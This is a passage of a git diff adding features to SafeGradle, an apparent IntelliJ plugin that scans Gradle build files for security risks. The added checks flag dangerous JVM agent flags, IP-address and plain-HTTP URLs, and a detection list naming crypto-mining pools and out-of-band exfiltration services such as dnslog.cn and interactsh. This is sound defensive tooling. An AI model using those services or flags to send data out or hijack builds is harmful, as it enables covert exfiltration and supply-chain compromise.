!declaredChecksum.equals(expectedChecksum, ignoreCase = true)) { + violations.add( + SecurityViolation( + file = file, + line = checksumLine, + content = "distributionSha256Sum=$declaredChecksum", + message = "Gradle wrapper SHA-256 checksum for $lookupKey does not match the known-good value published by Gradle. " + + "Expected: $expectedChecksum. This may indicate tampering.", + riskLevel = RiskLevel.HIGH + ) + ) + } } return violations diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/JvmArgsCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/JvmArgsCheck.kt new file mode 100644 index 0000000..ed60064 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/JvmArgsCheck.kt @@ -0,0 +1,87 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile +import java.util.regex.Pattern + +class JvmArgsCheck : SecurityCheck { + override val id = "dangerous_jvm_args" + override val name = "Dangerous JVM Arguments" + override val description = "Detects dangerous JVM flags in org.gradle.jvmargs that modify the build daemon process itself." + + // Only applies to gradle.properties lines starting with org.gradle.jvmargs + private val jvmArgsLine = Pattern.compile( + """^org\.gradle\.jvmargs\s*=\s*(.+)$""", + Pattern.CASE_INSENSITIVE + ) + + private data class DangerousFlag(val pattern: Pattern, val description: String, val risk: RiskLevel) + + private val dangerousFlags = listOf( + DangerousFlag( + Pattern.compile("""-javaagent:""", Pattern.CASE_INSENSITIVE), + "'-javaagent:' loads a Java agent into the build daemon, giving it full access to all classes and memory during the build.", + RiskLevel.HIGH + ), + DangerousFlag( + Pattern.compile("""--add-opens""", Pattern.CASE_INSENSITIVE), + "'--add-opens' bypasses Java module encapsulation, allowing reflection into internal JDK APIs.", + RiskLevel.MEDIUM + ), + DangerousFlag( + Pattern.compile("""--illegal-access=permit""", Pattern.CASE_INSENSITIVE), + "'--illegal-access=permit' silently allows reflective access to internal JDK APIs (deprecated and removed in JDK 17+).", + RiskLevel.MEDIUM + ), + DangerousFlag( + Pattern.compile("""-XX:\+DisableExplicitGC""", Pattern.CASE_INSENSITIVE), + "'-XX:+DisableExplicitGC' disables explicit GC calls, which can cause memory issues in long-running build daemons.", + RiskLevel.LOW + ), + DangerousFlag( + Pattern.compile("""-agentlib:""", Pattern.CASE_INSENSITIVE), + "'-agentlib:' loads a native agent into the build daemon with unrestricted native code access.", + RiskLevel.HIGH + ), + DangerousFlag( + Pattern.compile("""-agentpath:""", Pattern.CASE_INSENSITIVE), + "'-agentpath:' loads a native agent by filesystem path into the build daemon.", + RiskLevel.HIGH + ), + DangerousFlag( + Pattern.compile("""-Xbootclasspath""", Pattern.CASE_INSENSITIVE), + "'-Xbootclasspath' prepends/appends to the bootstrap classloader, allowing replacement of core JDK classes.", + RiskLevel.HIGH + ) + ) + + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { + if (file.name != "gradle.properties") return emptyList() + + val violations = mutableListOf() + content.lines().forEachIndexed { index, line -> + val stripped = line.trim() + if (stripped.startsWith("#")) return@forEachIndexed + + val argsMatcher = jvmArgsLine.matcher(stripped) + if (!argsMatcher.find()) return@forEachIndexed + + val argsValue = argsMatcher.group(1) + for (flag in dangerousFlags) { + if (flag.pattern.matcher(argsValue).find()) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = stripped, + message = "Dangerous JVM arg in org.gradle.jvmargs: ${flag.description}", + riskLevel = flag.risk, + checkId = id + ) + ) + } + } + } + return violations + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/NetworkActivityCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/NetworkActivityCheck.kt index 6029632..5494e0c 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/NetworkActivityCheck.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/NetworkActivityCheck.kt @@ -23,6 +23,29 @@ class NetworkActivityCheck : SecurityCheck { Pattern.compile("(http|https)://(?!localhost|127\\.0\\.0\\.1)[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}", Pattern.CASE_INSENSITIVE) ) + // Detects plain http:// (not https://) inside repository/maven/url blocks — MITM risk + private val httpRepoPattern = Pattern.compile("http://(?!localhost|127\\.0\\.0\\.1)[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}", Pattern.CASE_INSENSITIVE) + + // Detects IP-address URLs — bypasses domain-based whitelisting entirely + private val ipUrlPattern = Pattern.compile( + """https?://(\d{1,3}\.){3}\d{1,3}(:\d+)?(/[^\s'"]*)?""", + Pattern.CASE_INSENSITIVE + ) + // Private / link-local IP ranges that are clearly non-public (safe to skip) + private val privateIpPattern = Pattern.compile( + """https?://(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+\.\d+|192\.168\.\d+\.\d+|127\.\d+\.\d+\.\d+|169\.254\.\d+\.\d+)""", + Pattern.CASE_INSENSITIVE + ) + + // Crypto mining pool indicators and DNS-based C2 exfiltration patterns + private val miningPatterns = listOf( + Pattern.compile("stratum\\+tcp://", Pattern.CASE_INSENSITIVE), + Pattern.compile("pool\\.minergate\\.com|xmrpool\\.eu|nanopool\\.org|f2pool\\.com|antpool\\.com|nicehash\\.com|miningpoolhub\\.com", Pattern.CASE_INSENSITIVE), + Pattern.compile("\\bmonero\\b.*\\bwallet\\b|\\bxmr\\b.*\\bmine\\b|\\bmine.*\\bprofit\\b", Pattern.CASE_INSENSITIVE), + // DNS-based C2 / OOB detection services used in exploit PoCs + Pattern.compile("\\.dnslog\\.cn|\\.ceye\\.io|\\.requestbin\\.com|\\.interactsh\\.com|\\.burpcollaborator\\.net", Pattern.CASE_INSENSITIVE) + ) + override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { val violations = mutableListOf() val lines = content.lines() @@ -51,22 +74,36 @@ class NetworkActivityCheck : SecurityCheck { } } + // JCenter was shut down on 2022-02-01 — flag its use as a warning + if (strippedLine.startsWith("jcenter()")) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = strippedLine, + message = "JCenter (jcenter.bintray.com) was shut down in February 2022. Remove jcenter() and migrate to Maven Central or another active repository.", + riskLevel = RiskLevel.LOW + ) + ) + return@forEachIndexed + } + // Skip legitimate dependency declarations and plugin repositories or safe blocks if (currentInsideSafeBlock || - strippedLine.startsWith("maven") || - strippedLine.startsWith("google()") || - strippedLine.startsWith("jcenter()") || + strippedLine.startsWith("maven") || + strippedLine.startsWith("google()") || strippedLine.startsWith("classpath") || strippedLine.startsWith("implementation") || strippedLine.startsWith("api")) { return@forEachIndexed } + val uncommented = SecurityUtils.stripComments(line) for (pattern in patterns) { - val matcher = pattern.matcher(line) + val matcher = pattern.matcher(uncommented) while (matcher.find()) { val match = matcher.group() - + // Check if the match is a URL and if it's whitelisted if (match.startsWith("http", ignoreCase = true) && WhitelistConfig.isWhitelistedUrl(match, project, teamConfig)) { continue @@ -83,6 +120,56 @@ class NetworkActivityCheck : SecurityCheck { ) } } + + // Crypto mining pool and DNS C2 detection (always HIGH — no legitimate use in build scripts) + for (miningPattern in miningPatterns) { + val m = miningPattern.matcher(uncommented) + if (m.find()) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = line.trim(), + message = "Crypto-mining or command-and-control indicator detected: '${m.group().take(60)}'. This pattern has no legitimate use in a build script.", + riskLevel = RiskLevel.HIGH + ) + ) + } + } + + // Flag public IP-based URLs — they bypass all domain whitelisting + val ipMatcher = ipUrlPattern.matcher(uncommented) + while (ipMatcher.find()) { + val url = ipMatcher.group() + if (!privateIpPattern.matcher(url).find()) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = line.trim(), + message = "IP-address URL '$url' bypasses domain-based whitelisting. Use a hostname instead, or explicitly whitelist this endpoint in .safegradle.yml.", + riskLevel = RiskLevel.HIGH + ) + ) + } + } + + // Flag plain http:// (non-HTTPS) URLs anywhere in the file — susceptible to MITM attacks + val httpMatcher = httpRepoPattern.matcher(uncommented) + while (httpMatcher.find()) { + val url = httpMatcher.group() + if (!WhitelistConfig.isWhitelistedUrl(url, project, teamConfig)) { + violations.add( + SecurityViolation( + file = file, + line = index + 1, + content = line.trim(), + message = "Insecure HTTP URL '$url' — use HTTPS to prevent man-in-the-middle attacks on dependency downloads.", + riskLevel = RiskLevel.HIGH + ) + ) + } + } } return violations } diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/OsvAdvisoryClient.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/OsvAdvisoryClient.kt new file mode 100644 index 0000000..7e90d2b --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/OsvAdvisoryClient.kt @@ -0,0 +1,100 @@ +package com.mohammedalaamorsi.safegradle + +import java.io.OutputStreamWriter +import java.net.HttpURLConnection +import java.net.URL + +data class OsvVulnerability(val id: String, val summary: String) + +object OsvAdvisoryClient { + + private const val OSV_BATCH_URL = "https://api.osv.dev/v1/querybatch" + private const val TIMEOUT_MS = 8_000 + + // Returns a map of "group:artifact:version" → list of vulnerabilities found for it. + // Only packages that have findings appear in the result. + fun queryBatch(packages: List>): Map> { + if (packages.isEmpty()) return emptyMap() + + val body = buildRequestBody(packages) + val responseText = try { + post(body) + } catch (e: Exception) { + return emptyMap() + } + + return parseResponse(packages, responseText) + } + + private fun buildRequestBody(packages: List>): String { + val queries = packages.joinToString(",\n") { (group, artifact, version) -> + """{"package":{"name":"$group:$artifact","ecosystem":"Maven"},"version":"$version"}""" + } + return """{"queries":[$queries]}""" + } + + private fun post(body: String): String { + val conn = java.net.URI(OSV_BATCH_URL).toURL().openConnection() as HttpURLConnection + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.connectTimeout = TIMEOUT_MS + conn.readTimeout = TIMEOUT_MS + conn.doOutput = true + OutputStreamWriter(conn.outputStream).use { it.write(body) } + return conn.inputStream.bufferedReader().readText() + } + + // Minimal JSON parsing without external libs — extracts id and summary from each result block + private fun parseResponse( + packages: List>, + json: String + ): Map> { + val result = mutableMapOf>() + + // Split on "results":[...] — each element corresponds to the same index in packages + val resultsBlock = json.substringAfter("\"results\":[", "").trimEnd('}', ']') + if (resultsBlock.isBlank()) return result + + // Each item is either {} (no vulns) or {"vulns":[...]} + val items = splitTopLevelObjects(resultsBlock) + items.forEachIndexed { idx, item -> + val pkg = packages.getOrNull(idx) ?: return@forEachIndexed + val key = "${pkg.first}:${pkg.second}:${pkg.third}" + if (!item.contains("\"vulns\"")) return@forEachIndexed + + val vulns = extractVulns(item) + if (vulns.isNotEmpty()) result[key] = vulns + } + return result + } + + private fun extractVulns(item: String): List { + val list = mutableListOf() + val idRegex = Regex(""""id"\s*:\s*"([^"]+)"""") + val summaryRegex = Regex(""""summary"\s*:\s*"([^"]+)"""") + val ids = idRegex.findAll(item).map { it.groupValues[1] }.toList() + val summaries = summaryRegex.findAll(item).map { it.groupValues[1] }.toList() + ids.forEachIndexed { i, id -> list.add(OsvVulnerability(id, summaries.getOrElse(i) { "" })) } + return list + } + + // Splits a JSON array body (without outer [ ]) into top-level object strings + private fun splitTopLevelObjects(s: String): List { + val items = mutableListOf() + var depth = 0 + var start = -1 + for (i in s.indices) { + when (s[i]) { + '{' -> { if (depth == 0) start = i; depth++ } + '}' -> { + depth-- + if (depth == 0 && start >= 0) { + items.add(s.substring(start, i + 1)) + start = -1 + } + } + } + } + return items + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/PinDynamicVersionIntention.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/PinDynamicVersionIntention.kt new file mode 100644 index 0000000..b364b31 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/PinDynamicVersionIntention.kt @@ -0,0 +1,53 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.codeInsight.intention.IntentionAction +import com.intellij.codeInsight.intention.PsiElementBaseIntentionAction +import com.intellij.openapi.command.WriteCommandAction +import com.intellij.openapi.editor.Editor +import com.intellij.openapi.project.Project +import com.intellij.psi.PsiDocumentManager +import com.intellij.psi.PsiElement +import java.util.regex.Pattern + +class PinDynamicVersionIntention : PsiElementBaseIntentionAction(), IntentionAction { + override fun getText(): String = "SafeGradle: Replace dynamic version with placeholder (pin manually)" + override fun getFamilyName(): String = "SafeGradle" + + private val dynamicVersionPattern = Pattern.compile( + """(['"])([^'"]+):([^'"]+):(\+|latest\.release|latest\.integration|[^'"]*-SNAPSHOT)\1""" + ) + + override fun isAvailable(project: Project, editor: Editor?, element: PsiElement): Boolean { + val line = currentLine(editor) ?: return false + return dynamicVersionPattern.matcher(line).find() + } + + override fun invoke(project: Project, editor: Editor, element: PsiElement) { + val document = editor.document + val lineNumber = document.getLineNumber(editor.caretModel.offset) + val start = document.getLineStartOffset(lineNumber) + val end = document.getLineEndOffset(lineNumber) + val lineText = document.getText(com.intellij.openapi.util.TextRange(start, end)) + + val matcher = dynamicVersionPattern.matcher(lineText) + if (!matcher.find()) return + + val group = matcher.group(2) + val artifact = matcher.group(3) + // Replace dynamic version with a TODO placeholder so the developer pins it explicitly + val fixed = lineText.substring(0, matcher.start(4)) + "TODO_PIN_VERSION" + lineText.substring(matcher.end(4)) + WriteCommandAction.runWriteCommandAction(project) { + document.replaceString(start, end, fixed) + PsiDocumentManager.getInstance(project).commitDocument(document) + } + } + + private fun currentLine(editor: Editor?): String? { + editor ?: return null + val doc = editor.document + val line = doc.getLineNumber(editor.caretModel.offset) + return doc.getText(com.intellij.openapi.util.TextRange(doc.getLineStartOffset(line), doc.getLineEndOffset(line))) + } + + override fun startInWriteAction(): Boolean = false +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/PluginInjectionCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/PluginInjectionCheck.kt index 43a39db..8d23bbf 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/PluginInjectionCheck.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/PluginInjectionCheck.kt @@ -114,7 +114,7 @@ class PluginInjectionCheck : SecurityCheck { line = index + 1, content = stripped, message = "Unknown plugin '$pluginId'. Verify it comes from a trusted source before enabling it.", - riskLevel = RiskLevel.MEDIUM + riskLevel = RiskLevel.LOW ) ) } @@ -130,7 +130,7 @@ class PluginInjectionCheck : SecurityCheck { line = index + 1, content = stripped, message = "Unknown plugin applied via legacy syntax: '$pluginId'. Verify it comes from a trusted source.", - riskLevel = RiskLevel.MEDIUM + riskLevel = RiskLevel.LOW ) ) } diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/ReportExporter.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/ReportExporter.kt index abb5c9c..ca031c7 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/ReportExporter.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/ReportExporter.kt @@ -18,6 +18,47 @@ object ReportExporter { targetFile.writeText(sb.toString()) } + fun exportToSarif(violations: Map>, targetFile: File, pluginVersion: String = "0.0.34") { + val rules = mutableSetOf() + violations.values.flatten().forEach { rules.add(it.checkId) } + + val rulesJson = rules.joinToString(",\n") { id -> + """ {"id":"$id","name":"$id","shortDescription":{"text":"SafeGradle check: $id"}}""" + } + + val resultsJson = violations.entries.flatMap { (file, list) -> + list.map { v -> + val level = when (v.riskLevel) { + RiskLevel.HIGH -> "error" + RiskLevel.MEDIUM -> "warning" + RiskLevel.LOW -> "note" + } + val msg = v.message.replace("\"", "\\\"") + val uri = file.path.replace("\\", "/") + """ { + "ruleId":"${v.checkId}", + "level":"$level", + "message":{"text":"$msg"}, + "locations":[{"physicalLocation":{"artifactLocation":{"uri":"$uri"},"region":{"startLine":${v.line}}}}] + }""" + } + }.joinToString(",\n") + + val sarif = """{ + "${"$"}schema":"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json", + "version":"2.1.0", + "runs":[{ + "tool":{"driver":{"name":"SafeGradle","version":"$pluginVersion","informationUri":"https://plugins.jetbrains.com/plugin/30319-safegradle","rules":[ +$rulesJson + ]}}, + "results":[ +$resultsJson + ] + }] +}""" + targetFile.writeText(sarif) + } + fun exportToJson(violations: Map>, targetFile: File) { val sb = StringBuilder() sb.append("[\n") diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleBaseline.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleBaseline.kt new file mode 100644 index 0000000..b1ae730 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleBaseline.kt @@ -0,0 +1,49 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile +import java.io.File + +data class BaselineEntry(val filePath: String, val line: Int, val checkId: String, val messagePrefix: String) + +object SafeGradleBaseline { + + private fun baselineFile(project: Project): File = + File(project.basePath, ".safegradle-baseline.json") + + fun save(violations: Map>, project: Project) { + val entries = violations.entries.flatMap { (file, list) -> + list.map { v -> + """{"file":"${file.path.escape()}","line":${v.line},"checkId":"${v.checkId.escape()}","msg":"${v.message.take(60).escape()}"}""" + } + } + baselineFile(project).writeText("[\n${entries.joinToString(",\n")}\n]") + } + + fun load(project: Project): Set { + val file = baselineFile(project) + if (!file.exists()) return emptySet() + return try { + val json = file.readText() + val fileRegex = Regex(""""file"\s*:\s*"([^"]*)"[\s\S]*?"line"\s*:\s*(\d+)[\s\S]*?"checkId"\s*:\s*"([^"]*)"[\s\S]*?"msg"\s*:\s*"([^"]*)"""") + fileRegex.findAll(json).map { m -> + BaselineEntry(m.groupValues[1], m.groupValues[2].toInt(), m.groupValues[3], m.groupValues[4]) + }.toSet() + } catch (e: Exception) { + emptySet() + } + } + + fun isNew(violation: SecurityViolation, baseline: Set): Boolean { + return baseline.none { b -> + b.filePath == violation.file.path && + b.line == violation.line && + b.checkId == violation.checkId && + violation.message.startsWith(b.messagePrefix) + } + } + + fun exists(project: Project): Boolean = baselineFile(project).exists() + + private fun String.escape() = replace("\\", "\\\\").replace("\"", "\\\"") +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleConfigurable.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleConfigurable.kt index 7bd6450..4206f7c 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleConfigurable.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleConfigurable.kt @@ -2,6 +2,7 @@ package com.mohammedalaamorsi.safegradle import com.intellij.openapi.options.Configurable import com.intellij.openapi.project.Project +import com.intellij.ui.components.JBCheckBox import com.intellij.ui.components.JBLabel import com.intellij.ui.components.JBTextArea import com.intellij.util.ui.FormBuilder @@ -10,42 +11,51 @@ import javax.swing.JPanel class SafeGradleConfigurable(private val project: Project) : Configurable { - private var mySettingsComponent: JBTextArea? = null + private var myDomainsArea: JBTextArea? = null + private var myOsvCheckbox: JBCheckBox? = null override fun getDisplayName(): String = "SafeGradle" override fun createComponent(): JComponent { - mySettingsComponent = JBTextArea(10, 40) val settings = SafeGradleSettings.getInstance(project).state - mySettingsComponent?.text = settings.whitelistedDomains.joinToString("\n") + + myDomainsArea = JBTextArea(10, 40) + myDomainsArea?.text = settings.whitelistedDomains.joinToString("\n") + + myOsvCheckbox = JBCheckBox("Enable live vulnerability lookup via OSV.dev (requires internet)", settings.enableOsvLookup) return FormBuilder.createFormBuilder() - .addLabeledComponent(JBLabel("Whitelisted Domains (one per line):"), mySettingsComponent!!, 1, true) + .addLabeledComponent(JBLabel("Whitelisted Domains (one per line):"), myDomainsArea!!, 1, true) + .addComponent(myOsvCheckbox!!) .addComponentFillVertically(JPanel(), 0) .panel } override fun isModified(): Boolean { val settings = SafeGradleSettings.getInstance(project).state - val currentText = mySettingsComponent?.text ?: "" - return currentText != settings.whitelistedDomains.joinToString("\n") + val domainsChanged = (myDomainsArea?.text ?: "") != settings.whitelistedDomains.joinToString("\n") + val osvChanged = (myOsvCheckbox?.isSelected ?: true) != settings.enableOsvLookup + return domainsChanged || osvChanged } override fun apply() { val settings = SafeGradleSettings.getInstance(project).state - settings.whitelistedDomains = mySettingsComponent?.text + settings.whitelistedDomains = myDomainsArea?.text ?.split("\n") ?.map { it.trim() } ?.filter { it.isNotEmpty() } ?.toMutableList() ?: mutableListOf() + settings.enableOsvLookup = myOsvCheckbox?.isSelected ?: true } override fun reset() { val settings = SafeGradleSettings.getInstance(project).state - mySettingsComponent?.text = settings.whitelistedDomains.joinToString("\n") + myDomainsArea?.text = settings.whitelistedDomains.joinToString("\n") + myOsvCheckbox?.isSelected = settings.enableOsvLookup } override fun disposeUIResources() { - mySettingsComponent = null + myDomainsArea = null + myOsvCheckbox = null } } diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleFileWatcher.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleFileWatcher.kt new file mode 100644 index 0000000..a0535c0 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleFileWatcher.kt @@ -0,0 +1,49 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.application.ApplicationManager +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.newvfs.BulkFileListener +import com.intellij.openapi.vfs.newvfs.events.VFileContentChangeEvent +import com.intellij.openapi.vfs.newvfs.events.VFileEvent +import com.intellij.openapi.wm.ToolWindowManager + +private val WATCHED_EXTENSIONS = setOf("gradle", "kts", "properties", "toml", "groovy") +private val WATCHED_NAMES = setOf( + "build.gradle", "build.gradle.kts", + "settings.gradle", "settings.gradle.kts", + "gradle.properties", "gradle-wrapper.properties", + "libs.versions.toml", ".gitignore" +) + +class SafeGradleFileWatcher(private val project: Project) : BulkFileListener { + + override fun after(events: List) { + val changed = events.filterIsInstance().map { it.file } + val relevant = changed.filter { file -> + WATCHED_NAMES.contains(file.name) || + (file.extension?.lowercase() in WATCHED_EXTENSIONS && isUnderProject(file)) + } + if (relevant.isEmpty()) return + + // Invalidate cache for changed files and re-scan asynchronously + ApplicationManager.getApplication().executeOnPooledThread { + val cache = SafeGradleScanCache.getInstance(project) + relevant.forEach { cache.invalidate(it) } + + val scanner = SecurityScanner() + val violations = scanner.scanProject(project) + + ApplicationManager.getApplication().invokeLater { + SafeGradleResultService.getInstance(project).setResults(violations) + if (violations.values.any { it.any { v -> v.riskLevel == RiskLevel.HIGH } }) { + ToolWindowManager.getInstance(project).getToolWindow("SafeGradle")?.show() + } + } + } + } + + private fun isUnderProject(file: com.intellij.openapi.vfs.VirtualFile): Boolean { + val basePath = project.basePath ?: return false + return file.path.startsWith(basePath) + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleInspection.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleInspection.kt new file mode 100644 index 0000000..d3b200f --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleInspection.kt @@ -0,0 +1,69 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.codeInspection.LocalInspectionTool +import com.intellij.codeInspection.LocalInspectionToolSession +import com.intellij.codeInspection.ProblemHighlightType +import com.intellij.codeInspection.ProblemsHolder +import com.intellij.openapi.project.guessProjectDir +import com.intellij.psi.PsiElement +import com.intellij.psi.PsiElementVisitor +import com.intellij.psi.PsiFile + +class SafeGradleInspection : LocalInspectionTool() { + + override fun getDisplayName(): String = "SafeGradle Security Check" + override fun getGroupDisplayName(): String = "SafeGradle" + override fun getShortName(): String = "SafeGradleSecurity" + override fun isEnabledByDefault(): Boolean = true + + override fun buildVisitor( + holder: ProblemsHolder, + isOnTheFly: Boolean, + session: LocalInspectionToolSession + ): PsiElementVisitor { + val file = holder.file + if (!isGradleFile(file)) return PsiElementVisitor.EMPTY_VISITOR + + return object : PsiElementVisitor() { + override fun visitFile(psiFile: PsiFile) { + val virtualFile = psiFile.virtualFile ?: return + val project = psiFile.project + val content = try { String(virtualFile.contentsToByteArray()) } catch (e: Exception) { return } + + val baseDir = project.guessProjectDir() + val teamConfig = try { + baseDir?.findChild(".safegradle.yml") + ?.let { YamlConfigParser.parse(it.inputStream) } + } catch (_: Exception) { null } + + val scanner = SecurityScanner() + val violations = scanner.scanDirectory(virtualFile.parent ?: return, project, teamConfig) + val fileViolations = violations[virtualFile] ?: return + + val document = psiFile.viewProvider.document ?: return + + for (v in fileViolations) { + if (v.line <= 0 || v.line > document.lineCount) continue + val startOffset = document.getLineStartOffset(v.line - 1) + val endOffset = document.getLineEndOffset(v.line - 1) + val range = com.intellij.openapi.util.TextRange(startOffset, endOffset) + val element = psiFile.findElementAt(startOffset) ?: continue + + val highlightType = when (v.riskLevel) { + RiskLevel.HIGH -> ProblemHighlightType.GENERIC_ERROR + RiskLevel.MEDIUM -> ProblemHighlightType.WARNING + RiskLevel.LOW -> ProblemHighlightType.WEAK_WARNING + } + + holder.registerProblem(element, "SafeGradle [${v.riskLevel}]: ${v.message}", highlightType) + } + } + } + } + + private fun isGradleFile(file: PsiFile): Boolean { + val name = file.name + return name.endsWith(".gradle") || name.endsWith(".gradle.kts") || + name == "gradle.properties" || name == "libs.versions.toml" + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleProjectOpenListener.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleProjectOpenListener.kt index 9519772..102dd6c 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleProjectOpenListener.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleProjectOpenListener.kt @@ -3,13 +3,19 @@ package com.mohammedalaamorsi.safegradle import com.intellij.openapi.project.Project import com.intellij.openapi.startup.ProjectActivity import com.intellij.openapi.application.ApplicationManager +import com.intellij.openapi.vfs.VirtualFileManager import com.intellij.openapi.wm.ToolWindowManager class SafeGradleProjectOpenListener : ProjectActivity { override suspend fun execute(project: Project) { + // Register file watcher for scan-on-save + project.messageBus.connect() + .subscribe(VirtualFileManager.VFS_CHANGES, SafeGradleFileWatcher(project)) + // Run a lightweight scan in the background ApplicationManager.getApplication().executeOnPooledThread { - val scanner = SecurityScanner() + val customChecks = CustomCheckLoader.loadChecks(project) + val scanner = SecurityScanner(customChecks) val violations = scanner.scanProject(project) ApplicationManager.getApplication().invokeLater { diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleScanCache.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleScanCache.kt index bfc6ab8..e32e8f1 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleScanCache.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleScanCache.kt @@ -47,6 +47,10 @@ class SafeGradleScanCache : PersistentStateComponent } } + fun invalidate(file: VirtualFile) { + myState.cacheEntries.remove(file.path) + } + fun updateCache(file: VirtualFile, violations: List) { val entry = CacheEntry( hash = file.modificationCount.toString(), diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleScanHistory.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleScanHistory.kt new file mode 100644 index 0000000..c6bcc68 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleScanHistory.kt @@ -0,0 +1,37 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.components.* +import com.intellij.openapi.project.Project + +@Service(Service.Level.PROJECT) +@State(name = "SafeGradleScanHistory", storages = [Storage("safegradle_history.xml")]) +class SafeGradleScanHistory : PersistentStateComponent { + + data class SnapshotEntry( + var timestamp: Long = 0L, + var high: Int = 0, + var medium: Int = 0, + var low: Int = 0 + ) + + data class State( + var snapshots: MutableList = mutableListOf() + ) + + private var myState = State() + override fun getState(): State = myState + override fun loadState(state: State) { myState = state } + + fun record(high: Int, medium: Int, low: Int) { + myState.snapshots.add(SnapshotEntry(System.currentTimeMillis(), high, medium, low)) + if (myState.snapshots.size > 10) { + myState.snapshots = myState.snapshots.takeLast(10).toMutableList() + } + } + + fun snapshots(): List = myState.snapshots.toList() + + companion object { + fun getInstance(project: Project): SafeGradleScanHistory = project.service() + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleSettings.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleSettings.kt index f83198c..13ac372 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleSettings.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleSettings.kt @@ -10,7 +10,8 @@ class SafeGradleSettings : PersistentStateComponent { data class State( var whitelistedDomains: MutableList = mutableListOf(), var ignoredViolations: MutableList = mutableListOf(), - var enabledChecks: MutableMap = mutableMapOf() + var enabledChecks: MutableMap = mutableMapOf(), + var enableOsvLookup: Boolean = true ) data class IgnoredViolation( diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleStatusBarWidget.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleStatusBarWidget.kt new file mode 100644 index 0000000..1d5c5b2 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleStatusBarWidget.kt @@ -0,0 +1,84 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.application.ApplicationManager +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile +import com.intellij.openapi.wm.StatusBar +import com.intellij.openapi.wm.StatusBarWidget +import com.intellij.openapi.wm.StatusBarWidgetFactory +import com.intellij.openapi.wm.ToolWindowManager +import com.intellij.util.Consumer +import 